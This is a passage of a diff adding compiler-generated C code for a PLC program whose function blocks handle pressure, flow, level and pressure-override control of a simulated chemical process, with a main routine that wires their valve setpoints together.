INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + 